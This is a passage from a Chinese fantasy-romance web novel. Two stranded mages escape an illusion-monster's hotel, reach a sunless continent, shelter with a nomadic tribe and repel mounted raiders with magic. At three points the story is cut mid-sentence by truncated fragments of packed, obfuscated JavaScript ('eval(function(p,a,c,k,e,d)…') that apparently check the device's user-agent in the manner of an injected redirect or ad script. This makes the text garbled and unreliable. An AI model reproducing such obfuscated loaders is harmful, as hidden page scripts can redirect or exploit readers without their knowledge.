咪莉慢慢转过身,经过十几个小时的不眠不休,身体也困乏得不行,就走去床边掀开被子,平躺到床的另一边,用被子盖住自己后睡去。 很奇怪的是,她并没有排斥这次和苏法尔的同眠,大概因为两个人都陷入了极度虚弱中,无暇想七想八。 没过多久,苏法尔便醒了,睁开眼睛后入目便是咪莉睡着的侧颜,离他很远,恨不得躺在床沿上睡,防狼态度很端正,令他哭笑不得。 如咪莉所想,他现在又累又饿,需要很长的时间来恢复魔力,听到她在自己身边絮絮叨叨的声音,他无力回应,但心里有一种奇异的安心感。 尤其当她把手覆在自己脸上时,他睁了睁眼,但由于他是背对着咪莉,所以咪莉没有发现。 看着离他一米远的咪莉,他挪过去靠近了她,枕在了她的枕头上,又在被子里摸摸索索地找了找,找到咪莉的手后握在手心里,随即心满意足地闭上眼睛准备重新睡去。 他太累了,他需要大量的睡眠,而且他难得看到如此恬静乖巧的咪莉躺在他身边,他想多睡会儿。 只是老天偏不让苏法尔如愿。 屋子里的光线在他眨眼间便暗了下来,如同黑夜降临,他转头朝窗外看去,外面黑云密布,雷鸣电闪,他的目光瞥到桌上那盘食物变化了样子,变成了边角嶙峋锋利的硬石块。 他暗道不好,有种极为强烈的预感,在还没来得及分辨那股预感是什么时,就已经从被子里捞出熟睡的咪莉搂在怀里,右手施了一个雷电咒将窗户劈开。 他抱着咪莉从破洞口跳了出去,落地后飞速往前奔跑瞬移,直到确认身后的那座阴森诡异的酒店已经离得很远才停下来。 他喘着细细的气,额头上冒出一层薄薄的汗,看着远处那座石窟酒店在大漠中瞬间坍塌成一片废墟,化成地上的黄沙尘土飞扬飘散在空气中。 “幻魔?”苏法尔凝眉回想着,据他所知,幻魔从没有在埃比优大陆出现过,是其他大陆的魔物。 苏法尔心中预感越来越不好,他低头看了眼靠在他怀中的咪莉,眼睛瞬间睁大。 原来穿在咪莉身上的白衬衫此刻已经消失不见,她的身子呈全.裸的形态倚在他怀中。 苏法尔的触感是细腻柔软的,视觉是直击天灵盖的。 26.莫加侬墨本大陆 咪莉是被渴醒的。 她艰难地睁开沉重黏连的眼皮,虚开了一条眼缝,看见的是颜色较为冷白的肌肤,上面布满细小汗珠,这是一个男人的肩膀。 她心里一颤,恐慌地抬起头。 “终于醒了吗?” 苏法尔朝咪莉偏了偏脸,弯翘的睫毛半垂,嘴唇有些干裂。 咪莉愣在那里一动不动。 然后慢慢发现苏法尔正背着自己,而且他没穿上衣,再低头一看,自己穿着苏法尔那件宽大的白衬衫,不仅上面空的,下面也空的,自己的双臂架在他的肩上。 这让羞耻感极为严重的咪莉在他背上晃着两条光溜溜的双腿挣扎着:“这是怎么回事!我怎么穿的你的衣服啊!” 咪莉又渴又虚,她的力气对平常的苏法尔来说肯定不够看,但现在苏法尔也消耗巨大,他踉跄了两步,无奈地把背上恼怒发火的人放下来说:“我们住的酒店不是真的酒店,是幻魔所变化出来的虚像,你吃了有问题的食物,一直昏迷着,我还担心你醒不过来呢。” 咪莉光着脚踩在一片硬邦邦的黄土地上,上面还有细小的石子,扎得她脚心疼。 然后她发现两人周身散发着一圈颜色很淡的白光,应该是使用了某种防御罩。 咪莉时不时地挪动双脚换位置,想找一块儿没有石头的地方落脚,抽空抬眼看了看苏法尔:“什么幻魔?那是什么意思?到底发生什么了?” 苏法尔看着她在那里来回倒腾一双小脚说:“你还没有学会防御罩这些魔法,还是我背着你吧,不然你的这双脚可是要废的。” 咪莉不会亏待自己,她现在饿得脱力,苏法尔乐意背,她就乖乖爬上去,只是她刻意拉开了些两人身体的距离,毕竟她现在衣服里面空的。 “幻魔是一种由人内心所产出的欲望怪物,它会根据内心的渴求来变幻出模样。”苏法尔背着咪莉在土地上慢慢走着,前方的路好像怎么也看不到头,永远是灰茫茫的一片,“我们当时在沙漠走了那么久,内心所想的就是个能吃饭能睡觉的地方,所以我们会看到一座酒店。” 咪莉听着听着,身子就不由自主地靠了过去,一直僵着身子实在太累了,可是她又不好意思,只能偶尔回应两句转移两人注意力:“所以那座酒店就是根据我们内心渴望的东西所变换出来的虚像?称为幻魔?” 苏法尔点点头:“嗯。” 对于咪莉在他身上时远时近的举动他没在意,继续说道:“我猜是因为我们发现了酒店出现时机的古怪,才导致我们进去后是一座比较空荡诡异的环境。” 苏法尔后脑勺的黑发睡得乱糟糟的,咪莉忍不住用手指给他梳了梳。 苏法尔顿了顿,继续说:“我们一开始想的是豪华石窟酒店,从它的外观就可以看出是座造型独特、充满异域的奢华感,我想如果我们是在临进门前改变想法,把它想成是个血腥的屠宰场,它内部环境也会立刻转变成屠宰场。” “根据我们的内心随时变幻?”咪莉若有所思地说着,然后看看自己身上的衣服说,“我跟老板要的衣服也是假的吗?” 苏法尔笑了一下:“老板人都是假的,给我们的自然也都是假的,就连你吃的烤肉,喝的牛奶,也都是沙漠里的石块变的。” 咪莉霎时脸色一青,捂着肚子痛苦皱眉:“我吃了那么多石头?!” 苏法尔的声音仍然带着浅浅笑意:“放心,那座酒店虽然是虚幻的,但它也是由沙漠中的沙土所凝聚变化的,被识破后也就回归原本模样,变成沙子散了,至于你吃的,我刚刚替你检查过了,你的胃里没有硬物,吃的应该是沙土变化的,对于魔法师来说不会致命,只是让你多睡了一会儿。” 苏法尔轻描淡写地说着,咪莉却脑子宕机一样愣了愣,然后她拧了一下苏法尔那只戴着耳坠的耳朵,恶狠狠地说:“你怎么检查的!” 这个混蛋该不会…… 咪莉不敢再想,怕再想下去就会暴揍一顿苏法尔泄愤。 早知道她当时就趁着苏法尔虚弱无力敲死他,什么陌生环境危险不危险要互相帮助的,大不了同归于尽。 咪莉的力气不大,苏法尔只觉得耳朵痒痒的,他只好赔笑说:“我没乱动你,只是隔着衣服摸了摸你的胃部,好了好了,快松开。” 咪莉哼了一声,这才罢休,看着那只被她拧得有些泛粉的耳朵,然后目光落到那只垂落的墨色菱形耳坠。 她用手指头戳了戳那晃动的耳坠说:“这是什么材料做的?看起来质感很好。” “这是其他大陆出产的一种钻石,叫沙冥非钻。”苏法尔的声音很宁静,在这种不断产生绝望的环境中令咪莉觉得有些安心,“它有一种魔力,可以催眠长时间盯着它的人,然后那个人就会被佩戴者操控。” 咪莉原本一直在盯着那颗墨色耳坠看,听到这话后立刻移开视线,凶狠地揪他头顶的一缕头发:“你怎么不早说!” 苏法尔却“哈哈”笑了两声,顽劣地笑话她:“怎么了?你刚刚一直盯着它看了?” 咪莉嘟起嘴,怄气地不再理他。 两人互相沉默了一大会儿,苏法尔清冷的声音忽然响起:“咪莉,你可以靠着我的,你这样故意僵着身体的动作会很累,我走起来也不轻松。” 说完他顿了一下,补充道:“你那里很平,趴在我身上我也感觉不到什么的。” 咪莉顿时愣住,脸色爆红地趴在他耳边大声嚷嚷:“你胡说!明明有形状的!” 就这样,两人一直靠着双脚走过无边无际的平原,偶尔用一次长距离瞬移,到最后,他们身上的防御罩颜色也更淡了。 咪莉明显感觉到周身温度越来越低,这才知道苏法尔用的是驱散寒气的魔法,一旦减弱,寒气就会侵蚀他们的身体。 此时咪莉已经下来走路了,她不想让苏法尔过于累着,毕竟苏法尔魔力再消减,实力也比她强得多,遇到危险的话还是要主靠苏法尔。 咪莉的双脚被苏法尔用从自己裤腿撕下来的两截布料裹了几层,所以苏法尔现在是露着小腿,上衣没穿,脸上也有浅浅的灰土痕迹,就像个从哪里逃荒出来的难民。 咪莉从没想到苏法尔也会有这样一天,白白嫩嫩的一个团长大人,声名赫赫地位尊崇,现在却沦落成这副落魄模样。 当然她的样子也没好到哪里去,不过二哥笑大哥罢了。 就在天又要黑下来的时候,长途跋涉的苏法尔终于见到了希望。 在天的尽头,满原枯草的大地上,出现了寥寥可数的帐篷群。 两个人没吃没喝,力气早就所剩无几,苏法尔还能坚持,咪莉这样娇生惯养的已经重新回到苏法尔背上晕晕乎乎的了,口中时不时问苏法尔走到哪了。 “咪莉,睡了吗?”苏法尔的声音带着惊喜,他背着咪莉加快脚步,为了不暴露身份,没有用瞬移,“我看到了人,而且还不少。” 咪莉的脑袋搁在苏法尔肩上靠着,已经出现了严重低血糖的症状,头晕眼花,浑身发冷,她听见苏法尔的话后也只是从喉咙里“唔”了一声,就没什么反应了。 苏法尔担心咪莉昏死过去,只好走得更快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏法尔站在帐篷外面和那个叫提斯的男人交谈着,得知了这群人是库北族,时不时就要根据气候迁移定居,这次他们准备往南部迁移,提斯则是这群库北族的首领大人。 两人聊了一会,那个蓝发女人从帐篷里端着木碗出来了,对苏法尔笑笑说:“你妻子没什么大碍,只是身体有些虚弱,应该很快就会醒了。” “谢谢菲玛小姐。”苏法尔淡淡一笑。 菲玛见苏法尔这一身过于凄惨,就拿了提斯的衣服给他穿,他们身形倒是差得不多:“别冻着了,这里温度很低的,等到了南部会好很多。” 苏法尔接过那套黑色衣服再次表达了自己的谢意,然后走去帐篷里准备换衣服。 咪莉还躺在那里,气色已经好了很多,干涸的嘴唇也水润了许多。 苏法尔放下衣服,坐到她身边,摸了摸她的额头,有些低烧。 这时菲玛掀开帐篷帘说:“苏法尔,这是一些退烧药,既然你在里面,就给你妻子吃下吧,不然半夜会加重病情,记得给她盖严实点。” 苏法尔双手接下药:“谢谢,麻烦菲玛小姐了。” “别客气。”菲玛笑了下后离开。 苏法尔扶起咪莉喂她吃下药,拿起旁边的小水壶给她喝了一口,然后再把她放下,给她盖好被子。 他环视了下这间空间并不大的帐篷,是个女性单人帐篷,睡他和咪莉两人是有些拥挤的,他们身下铺着一层厚厚软软的兽皮,兽皮下一层防水垫,虽然很简陋,但对库北族人来说这就是一个家了。 27.开启异大陆流浪之旅 苏法尔刚脱下他那件破破烂烂的裤子,咪莉就醒了。 咪莉看见后立马转过去身背对着他,脸肉眼可见地红了,没好气地问:“喂,你在做什么?” 她声音嘶哑得厉害,说话间喉咙还有隐隐的发痒,这是感冒的症状,然后注意到自己所在的地方好像是个并不怎么厚实的帐篷,她的身上盖着一条蓝色厚被子。 苏法尔回过头看向正四处观察的咪莉:“你醒了?我想换衣服。” 咪莉撑着身子坐起来,骤然觉得头晕目眩,她揉揉太阳穴难受地说:“我们这是在哪儿?” “看来你什么都记不得了。”苏法尔说着就掀开被子坐了进去,“我们遇到了一个小部落,是他们的首领大人收留我们,还给了我们吃的和药物。” 咪莉却没把他的解释听进去几句,反而用破碎的嗓子尖叫着在苏法尔身上捶打:“你干嘛啊?” 苏法尔抓住她的两只手腕,黑漆漆的眼里透着些无辜:“当然是睡觉,外面这么冷,你要我睡在外面吗?” 咪莉怒瞪着他:“我不是这个意思,只是你不可以脱衣服睡。” 咪莉坚持着,大有他不这么做就挠死他的狠绝,他只好妥协,穿上菲玛给他的新裤子,老老实实地躺下:“这样可以了吗?” 咪莉躺在他另一侧,有气无力地“嗯”了一声。 被子是菲玛用的单人的,两个人盖要挨着身才能盖住,咪莉觉得不自在,往外挪了挪,苏法尔又把她捞回来:“我不会对你做什么的,别乱动了,小心感冒加重。” 咪莉只好放弃挣扎,就这么和苏法尔并肩躺着。 苏法尔看着被夜风吹得微微鼓动的帐篷顶,加了个无形隔音术,声音轻轻的:“咪莉,我们已经不在埃比优大陆了。” 虽然这里的人听不懂埃比优大陆语,但为了以防万一,他还是加了层隔音结界。 咪莉震惊地转过去头看向苏法尔:“什么?” 苏法尔倒是波澜不惊,而且嘴角还含着一抹笑容,就像是看到了什么新鲜玩具的孩子一样兴奋:“我们在的地方叫莫加侬墨本大陆,距离埃比优大陆很远很远,我们可能要在这里待上一段时间了。” 怪不得他无法召唤小黑,这样跨大陆的距离,就算是天生自会传送魔法的黑翼龙也无法短时间内到达。 咪莉的心已经沉到了底,这样下去她什么时候才能回到家里?她鼓起脸生气地说:“你怎么还一副很高兴的样子?” 苏法尔转过来脸,眼睛亮亮的:“你不觉得这一切很有趣吗?来到另一个大陆的机会是非常稀有的,不仅需要漂洋过海,还需要时间成本。” 他顿了一下又看向帐篷顶,期待的眼神就像已经看到了莫加侬墨本这个陌生大陆的有趣事物:“可现在我们就这么轻而易举地来到了。” 轻而易举…… 咪莉无言,他们可是差点被幻魔吞噬,还险些饿死在沙漠里。 “你忘了我们走得多艰苦吗?”咪莉拉了拉被子,准备睡觉,不再搭理这个异常兴奋的异大陆探险爱好者。 苏法尔一听觉得也是,笑了笑说:“确实是这样,不过这也算是一种很难得的经历。” 他看向咪莉,咪莉已经背对着他睡去了,对他的话只从喉咙里哼了一声表示不屑,看样子很不开心。 苏法尔便不再吭声,缓缓闭上疲劳的眼睛,但因为幻魔危险在前,咪莉又生病,他不能保证这些库北族人是绝对的善良,为了能让自己尽快恢复魔力休息好,所以在帐篷四周施了个简单的无形结界魔法,只要有人靠近帐篷半米,魔法就会启动惊醒他。 不过这一夜相安无事。 倒是咪莉畏惧深夜的寒气已经不知何时钻进了苏法尔的怀中。 苏法尔从来到库北族的帐篷群,为了不惹眼,就没有再使用御寒魔法。 他看着冻成一团的咪莉在他怀里汲取体温,也没有重新使用,而是把她抱在怀里,再把四周被子仔仔细细掖好,两人就这么互相依靠着度过了这一个寒冷的夜。 清晨,露气最重的一刻,当苏法尔和咪莉还在睡觉时,外面已经有了轻微的脚步声和交谈声。 苏法尔醒得很快,他看了眼窝在自己怀里睡得很香的咪莉,还有这间狭窄的帐篷,仿佛有种在做梦的感觉。 他又重新看向咪莉,就这样静静地看着她,她贴得很近,这个角度他只能看见咪莉的半边脸颊和耳朵,因为感冒,她发着很细的鼾声。 苏法尔忍不住想用手给咪莉拂开脸颊边的碎发,只是手指伸过去后,在快触碰的时候又缩了回来。 咪莉嘤咛了一声,像是呼吸不畅一样把脸全部露了出来,一双眉毛皱得很紧,小鼻子耸动了两下,只是外面冷空气又让她冷得重新埋了回去。 苏法尔轻声叹着,他的胸膛被咪莉热热的呼吸弄得痒痒的,像哄孩子那样拍了拍她身上的被子,她才“唔”了一声不再来回蹭,双手放在胸前,如婴儿般蜷缩在他怀里睡着。 咪莉又睡了一会儿,只是觉得被窝里越来越凉了。 她的人形取暖器不见了。 咪莉不得已睁开困倦的眼睛,裹紧那张保暖性并不怎么好的被子在地上滚了滚,确定苏法尔已经起床出去了,帐篷里只剩下了她一个人。 她两眼怔怔地望着头顶,也不知道在想什么,耳边是外面嘈杂的声音,她觉得有些孤独,有些彷徨,不明白怎么会发生这样的事,相比到了曼努森,这里回家的难度可要高多了。 而且奥倾也不在身边了…… 只是如果奥倾真的还在的话,她还会像以前那样什么都不知道的时候和他相处吗? 估计比和苏法尔待在一起更难受吧。 咪莉想着想着,心里就越发难过,她缩进被子里用指头抹了抹眼角渗出的湿润,酸涩的情绪就像令人讨厌的感冒一样充斥她的身体。 在被子里小小地哭了一会儿,咪莉终于准备起床,她看见旁边放着一套亚麻色的衣服,应该是苏法尔给她准备的。 咪莉拿起那套衣服研究了一下,是套分不出性别的裙子,里面搭配一条厚裤子。 研究完后,咪莉把身上的白衬衫脱下来,一阵寒意瞬间让她打了个寒颤,起了一身鸡皮疙瘩,她拿起那件半圆领的对衫上衣准备往身上穿,这时帐篷帘子却掀起来了。 苏法尔半蹲在门口,一只手掀着帘子,没进来也没出去,只是一直看着咪莉。 咪莉愣住了,她的一个胳膊都还没伸进去,被子也因为她穿衣服的动作滑了下来。 最后还是苏法尔先开了口:“在换衣服?” 咪莉终于找回意识,把被子往身上遮,一张小脸气得通红:“看见了还问!你还不快点出去!” 苏法尔却勾着唇角进来了,把帘子在下面掖好,转头看着惊恐的咪莉说:“我进来和你说点事情,你边换边听,我不会看你的。” 说罢他就转过去头,坐在那里背对着咪莉。 咪莉磨着牙,心里直冒火,只能赶紧一件一件地往身上穿。 听见身后窸窸窣窣的穿衣动静,苏法尔才缓缓开口说:“我们大陆和莫加侬墨本大陆通用语不一样的,为了不给我们添什么不必要的麻烦,我跟这里的首领提斯说,我们是从布加村出来的。” 他说着说着就要转头看咪莉,咪莉察觉后立马大喝他:“喂!不要转头啊!” 苏法尔转了回去,嘴角的笑意更深了:“只是下意识地想看着你说话。” 他顿了一下继续说:“布加村是这里大陆上的一个小村落,是我以前在书上看到过的,所以有点印象。” 咪莉快速穿着衣服,手忙脚乱的,至于听进去几句就不得而知了。 “我学习过一些其他大陆的语言,所以和他们在沟通上没什么问题,至于我们两人之间说的埃比优大陆语,我跟他们讲是我们村子里的语言。”苏法尔低下头,用手指点着身下的兽毛,“每个大陆很大,他们根本没听过其他村子的名字,所以不会穿帮。” “你真是见多识广。”咪莉从被子里出来,跪坐在兽毯上,她已经穿好了衣服,正用手指梳理着打结的头发,“连其他大陆语都会说。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这里的帐篷相隔距离至少有三米远,一眼望去大概不到百只,远处有九匹黑马拴在几根大木桩上,还有五辆平板车停靠,看得出来这个库北族是很贫穷的,资源少得可怜。 早饭是煮沸的粥,肉眼看见的有一些菌菇,萝卜丁,不知道哪种品种的绿色青菜,咪莉喝了一口,还有些肉沫的香气,喝起来味道意外得鲜美。 她没吃什么饭,饿得前胸贴后背,但作为客人,她不好意思多吃,只喝了一碗就放下了碗,菲玛要再给她盛的时候,她摆手拒绝了,因为锅里剩得热粥并不多,旁边的人吃得也很少,还是让人家主人多吃点好。 咪莉收起眼馋的目光,无趣地扣弄着地上干巴巴的草根,眼前忽然出现半碗热粥。 她抬头看去,苏法尔的眼里笑意浓浓,在如此阴沉的天气中,他黑色的眼睛异常闪亮,他拿起她的手,把那半碗粥塞进她手心里说:“我吃不完,你吃了吧,可别嫌弃是我吃过的,要是浪费了主人会讨厌我们的。” 咪莉明白苏法尔话里的意思,是想让她多吃点,她心里某个地方被软软地戳了一下,愣愣地看着手里的热粥,然后低声埋怨了他一句:“你胃口可真小。” 苏法尔见咪莉解决着他吃不完的粥,眼角溢满温柔,菲玛见状后夸他们:“两位可真是和睦恩爱。” 咪莉从碗里抬起脸,疑惑的眼睛眨了眨,苏法尔解释给她听:“菲玛小姐说你真好,一点也不浪费粮食。” 咪莉脸红了一下,继续埋头喝干净最后一口,肚子里总算沉甸甸的了,她要帮忙收拾碗筷什么的,不仅被菲玛撵走,苏法尔也撵着她说:“我会说这里的语言,我来帮菲玛小姐就行,你去周围散散心消消食,对身体好。” 咪莉觉得自己好没用,抓着头发讪讪走开:“好吧,那你有什么事记得喊我。” 看着苏法尔蹲在地上帮忙洗碗的模样,咪莉觉得太阳真是打西边出来了,她竟然能看见每天穿得像个贵族王子的团长大人做这些家务活儿。 咪莉眯着眼看向混沌阴暗的远方,心里想道,到这里后好像一连几天都没看见过太阳的出现。 28.遭遇抢劫后反抢 咪莉和苏法尔跟随着库北族人一起往南部走了。 库北族人的厚重物品都摞放在马匹拉的平板车上,帐篷、被子、厨具、厚衣服等等,堆叠得就像一座小山似的那样高,咪莉都觉得下一秒要倒塌,同时又喟叹这些人生活真不容易。 咪莉行走着,看了眼身边的苏法尔,他身上背着一个较大和一个稍小的包裹,里面都塞得鼓鼓囊囊,是菲玛小姐和提斯大人的随行包裹,这是为了不白吃白喝人家的,苏法尔主动帮忙承担。 至于咪莉,她提着两篮子晒好的山楂干,过长的袖子和裤腿也被苏法尔用针线做了改动。 苏法尔手挺巧,挽的针脚完全不露痕迹,看得咪莉是佩服至极,在心里对苏法尔刮目相看了一次又一次。 可苏法尔却无所谓地说:“小时候没人管,这些当然要自己做了。” 这更让心肠软的咪莉对这个从小没父母疼爱的男人起了怜悯之心。 她穿好改动完美的衣服,抓着苏法尔的衣袖认真地说:“苏法尔,如果你不介意的话,你当我哥哥,我妈妈就是你妈妈,我和我妈妈都会好好爱你,只要你放弃用我复活你父亲,我相信以你自己的能力也能成功复活你父亲的。” 苏法尔拍拍她洁白的小手,笑得就像这阴暗天气里的一抹阳光那样温暖:“你妈妈现在已经是我的妈妈了,因为你是我的妻子,咪莉。” 会有人拿自己妻子去做危险的复活行为吗? 咪莉根本不想反驳他,忍住一拳打飞可恶男人的冲动,老实闭嘴,扛起菲玛小姐的包裹就准备走,结果包裹里不知道塞了什么那么重,她提了两下愣是没提动,用上两只手才勉勉强强提起来。 苏法尔从她手里轻松地拿走那只堪比重沙包的包裹说:“你去帮忙拿篮子吧。” 咪莉甩头就走。 这样的举家迁移是很辛苦的,尤其天气总是阴沉不见光,每个人的脸色都泛着暗黄。 咪莉抬头看看天,终于肯跟苏法尔说话了:“这些日子天气好像一直都不好,从到这里以来,一次太阳都没见过。” 苏法尔若有所思地看向咪莉:“我忘了告诉你,莫加侬墨本大陆是没有太阳的。” 咪莉呆若木鸡,好大一会儿才像是终于听清了苏法尔的话:“没有太阳?” 世界上竟然会有这么神奇的事情? 咪莉不可思议地左看右看,发现这里除了天光,确实不曾见过一丝丝的阳光,这里的空气就像布满雾霾那样沉重,压得人心里沉甸甸的。 “传说太阳之神诅咒了莫加侬墨本大陆,这是一个挺老的故事了。”苏法尔背着那重重的行囊,走起路的模样却仍旧风度翩翩。 “诅咒?”咪莉来了兴趣,眼睛闪闪地望着苏法尔。 苏法尔正要开口给爱听故事的咪莉说,大部队却突然停下了脚步,前方一阵异动,几个为首的窃窃私语,语气充满焦急愤怒。 走在前头的已经看清了形势,声音里充满惊慌:“是乌利人来了……” 此言一出,周围顷刻一阵骚乱恐慌。 咪莉甚至看见旁边几个鬓白的老妇人在发抖,她想过去问问发生什么事了,却想到语言不通,就想让苏法尔去问问。 苏法尔在咪莉投去疑惑的目光前便已经上前一步,用非常柔和的语气问其中一个妇人:“这位太太,发生什么事了?” 妇人边害怕边给这两个异族人说:“是乌利人来抢劫了,他们很可怕的,杀人不眨眼,连孩子都不放过,简直就是禽兽……” 苏法尔安抚了她们几句,对一旁一脸惑色的咪莉翻译道:“是抢劫的,叫乌利族。” 咪莉皱了皱眉,看着好多聚在一起缩成一团的老弱病残说:“看他们样子,好像不止被抢过一回。” 他们恐惧的眼神中含着热泪,有唉声叹气的,有小声啜泣的,有低声喃喃的。 咪莉听不懂他们的语言,不过从他们的表情中可以勉强分辨出有的是在咒骂,有的则是在祈祷。 咪莉穿过这些窃窃私语的人群往前走,看见首领大人提斯和他的手下正在探讨什么,从表情看情况并不乐观。 她的视线朝前落,漫无边际的平原上是一群人高马大的壮汉们,他们穿着和库北族没什么大差别,都是厚厚的圆领短衫棉服。 不同的是,他们几乎每个人都骑着一匹强健的骏马,手里拿着闪着寒光的铁刃,脸上是张扬跋扈的肆笑。 骑在一匹黑马上的金色长卷发男人举了举手,像是下达了什么讯息,第一排的乌利人便如出动捕猎食物的狼群一窝蜂冲了出来,气势响彻天地。 “提斯大人!他们冲过来了,我们……”一个黑色寸头手下看着身后一群手无缚鸡之力的族人们,急得直跺脚,他们能打的人太少了,就算首领大人一挑十,也无法完全护住他们的族人。 就在这名手下准备不管不顾拼了这条命迎战时,突然听见一片惨叫声和马鸣嘶吼。 他转过头去,湛蓝色的眼睛倏然瞪大,完全不敢相信他看见了什么。 一排乌利人一个个从马背上摔了下来,他们的右手都燃着一团熊熊烈火,手中的武器也咣当一声掉在一旁,口中哀嚎不止。 所有人都目瞪口呆,以为会在这次抢劫中变得身无一物甚至可能失去性命的库北族人一个个张大了嘴巴,有些已经惊呼起来,指着前方一副云淡风轻模样的咪莉说:“是那个异族小女孩!我刚刚看见了,她的两只手里都突然出现了火焰!” “她是神吗?是从天界来拯救我们的吗?” “我们的祈祷灵验了!我们库北族人有救了!” 一片惊喜声中,对面的乌利人则是更加暴戾起来,他们不仅痛恨神,更痛恨夺走莫加侬墨本大陆太阳的太阳之神。 乌利首领卢修斯脸上布满阴狠,动作同时也变得谨慎警惕了起来,他们再如何痛恨神,也没有与神对抗的力量,他身后有几个手下见同伴被火折磨得死去活来,驱马上前查看情况,发现同伴的手火势虽大,但伤却并不严重,只是整只手通红一片,皮肤上起了一层水泡。 这时苏法尔已经放下包裹走到咪莉身边了,咪莉冲他招招手,等他一脸无奈外加宠溺地微微俯身后,咪莉在他耳边说:“苏法尔,你跟对面的乌利人说,让他们乖乖投降,否则我就会废掉他们的手。” 其实咪莉心里一开始是紧张的,她魔法低微,要对付这么多人实在吃力,而且也不知道对面有没有魔法师,但在使用火焰术群攻时却出乎她意料,体内魔力就像瞬间爆发,无数颗火球裹挟着吞噬人的热浪袭向他们。 她有一瞬间怔住,但又反应极快地施了个水光术覆向他们的手,让火球的威力减小了些,不至于彻底废掉他们的手,又给了他们一个震慑。 而且从对方毫无招架之力的表现来看,他们似乎对魔法一窍不通。 苏法尔把咪莉的动作看得很清楚,心道咪莉体内的圣女神力已经开始被融合,这对他将来取神力极为不利。 苏法尔照着咪莉的话走上前两步,身姿如松般高大挺拔,虽然身穿一身破烂棉服,举止却文雅得体,就像个落魄的贵族仍旧保持着他的礼仪。 他对乌利人微笑道:“各位,我身后这位小姐让我转告你们,要你们一分钟之内举旗投降,并且留下马匹和你们的随身物资,如果不照做的话……” 他顿了一下,唇角一勾,深邃的黑眸闪现出狡黠的光,眉间些许隐藏不住的戾气:“那么就会要了你们的命。” 苏法尔话音刚落,右手便托出一团蓝色的光丢向为首的卢修斯,那团蓝光蛇一般缠在卢修斯的脖颈上,一阵窒息感和冰冷触觉令卢修斯忍不住上手抓挠。 可惜无济于事,卢修斯摔在地上,又爬起来跪在地上一直在扯令他呼吸困难的光线,脸上瞬间冒出一层汗。 一名乌利人下马冲向首领,见首领面色痛苦,便冲苏法尔咒骂不止。 苏法尔悠然笑道:“只要乖乖听话,你们的首领自会安然无恙。” 咪莉听不懂苏法尔在叽里呱啦说什么,但效果显然不错,对面的乌利人震怒中又像见了鬼一样面带恐色,而且还非常迅速地弃马而逃,只有两名乌利人留下陪着被困的首领。 “苏法尔,你说了什么?”咪莉上前好奇地问。 苏法尔抿唇一笑:“当然是把你告诉我的跟他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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苏法尔想了想,思索道:“魔法师在这里很稀少吗?” “当然,据我所知,目前只有每个王国的王宫里有一名魔法师,”提斯微微摇头说,“其他地方的没有听说过。” 苏法尔这才知道,莫加侬墨本大陆的落后,要比他在书上看到的更严重,魔法师的数量竟屈指可数到这种地步。 “苏法尔!你看我找到什么了!”咪莉欢快的声音打断了苏法尔的神游,他看向声音来源,咪莉手里拿着两瓶酒跑过来说,“是葡萄酒!我最爱喝葡萄酒了!” 正在忧愁的提斯看着咪莉手里的两瓶葡萄酒也不禁双眼一亮:“竟然有葡萄酒?” 咪莉没听懂,眨眨眼看向苏法尔:“他说什么?” 苏法尔笑说:“他和你说的意思差不多,看来这里物资匮乏得厉害,首领大人也很馋酒。” 咪莉二话不说把酒递给提斯说:“首领大人,那群乌利人留了两箱呢,够你喝的了。” 她再抬头对苏法尔眨眨眼,苏法尔接收到含义,对提斯转述了一遍她的话。 提斯感激到无言,只能一遍一遍地道谢,并对苏法尔承诺以后会把他们当库北族人保护。 这次咪莉和苏法尔是大功臣,在战利品中分到了一辆马车,一堆咪莉爱吃的零食。 不过库北族老弱较多,马车不够用,咪莉选择和苏法尔同骑一匹马。 咪莉坐在马背上,手里还拿着个纸袋子,里面装满红红的山楂干和青绿的葡萄干,她不停地吃,身后的苏法尔问她好吃吗,她就毫不犹豫地点点头说:“好吃啊,酸酸甜甜的。” 咪莉抓了两颗葡萄干和一颗山楂干朝后转头,像个把好东西分享给朋友的孩子一样喂到苏法尔唇边说:“喏,你尝尝。” 苏法尔垂眸看了看,他挺喜欢这种小零食的,但为了在手下面前保持领导的稳重风范,时常克制自己孩子般的食欲。 他微微低了点头,用牙齿轻轻咬住那几颗小果干,双唇尽量不触碰到咪莉的指尖,但在咬下离开那一瞬,还是碰到了。 他抬起头慢慢嚼着果干,和咪莉对视了两眼,她转头的动作很快,但他还是捕捉到了她有些闪躲的眼神。 咪莉若无其事地继续吃着葡萄干,踢了踢架在马肚子边的两只脚没话找话:“不知道要在这里待多久。” “咪莉想家了吗?”口中甜甜的,苏法尔觉得心里似乎也甜甜的。 “当然想了。” 咪莉低下头,又开始沮丧郁闷,不知道到底什么时候才能回家。 29.被某红发流氓亲醒 天气越发寒冷,咪莉觉得自己的手都快要冻僵了,她把手缩进袖子里取暖,十分不客气地靠在苏法尔宽厚的胸膛上。 苏法尔手握缰绳的姿势恰好是搂着咪莉,正当咪莉困意连连睁不开眼的时候,她腰上落下来一只手。 咪莉“唔”了一声,抬起头不明所以地看向苏法尔。 苏法尔低头对咪莉说:“怕你掉下去,睡吧。” 咪莉实在犯困,神智不清地说了句“谢谢”就靠在苏法尔怀里准备睡觉,只是脸上觉得有些小小的冰点落下,刺激得她又睁开眼睛。 灰茫茫的空中,好像闪烁着一些晶莹的小银点,就像她在奈彼多鞍看到的蜜桉花瓣一样,轻盈优雅。 “那是……”咪莉不确定那是什么,仔细想了想后,脑中霎时出现一个在书本上见过的画面,她惊喜地问道,“是雪?!” “嗯,好像下雪了。”苏法尔眨了眨眼,空中漂浮着透明晶莹的小雪花,慢慢飘落在地上,马匹上,每个人身上,“咪莉,这是你第一次看见雪,对吗?” 